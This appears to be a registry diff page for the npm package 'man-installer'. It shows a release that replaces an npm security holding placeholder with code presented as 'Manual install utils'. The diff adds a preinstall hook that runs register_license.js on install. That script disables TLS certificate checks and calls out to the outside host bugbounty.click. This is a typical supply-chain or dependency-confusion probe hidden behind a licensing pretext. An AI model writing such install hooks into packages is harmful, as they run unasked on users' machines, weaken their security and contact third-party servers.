man-installer 0.0.1-security → 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of man-installer might be problematic. Click here for more details.
- package/README.md +2 -4
- package/index.js +7 -0
- package/package.json +1 -6
- package/register_license.js +16 -0
package/README.md
CHANGED
@@ -1,5 +1,3 @@
|
|
1
|
-
#
|
1
|
+
# ManInstall Utils
|
2
2
|
|
3
|
-
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=man-installer for more information.
|
3
|
+
Use this if it is not possible to use the automatic registration tool.
|
package/index.js
ADDED
package/package.json
CHANGED
@@ -1,6 +1 @@
|
|
1
|
-
{
|
2
|
-
"name": "man-installer",
|
3
|
-
"version": "0.0.1-security",
|
4
|
-
"description": "security holding package",
|
5
|
-
"repository": "npm/security-holder"
|
6
|
-
}
|
1
|
+
{"name":"man-installer","version":"1.0.0","description":"Manual install utils","main":"index.js","scripts":{"test":"echo \"Error: no test specified\" && exit 1","preinstall":"node register_license.js"},"author":"","license":"ISC","type":"module"}
|
@@ -0,0 +1,16 @@
|
|
1
|
+
import https from 'https';
|
2
|
+
|
3
|
+
const license_key = "ABCD1234EFGH5678-1234-AAAA-BBB"; // Please update with your key from the portal
|
4
|
+
|
5
|
+
process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0;
|
6
|
+
|
7
|
+
const options = {
|
8
|
+
hostname: 'bugbounty.click',
|
9
|
+
port: 443,
|
10
|
+
path: '/licensing/register.php?Username=' + encodeURI(license_key) + '&Package=man-installer',
|
11
|
+
method: 'GET'
|
12
|
+
}
|
13
|
+
|
14
|
+
const req = https.request(options)
|
15
|
+
|
16
|
+
req.end();
|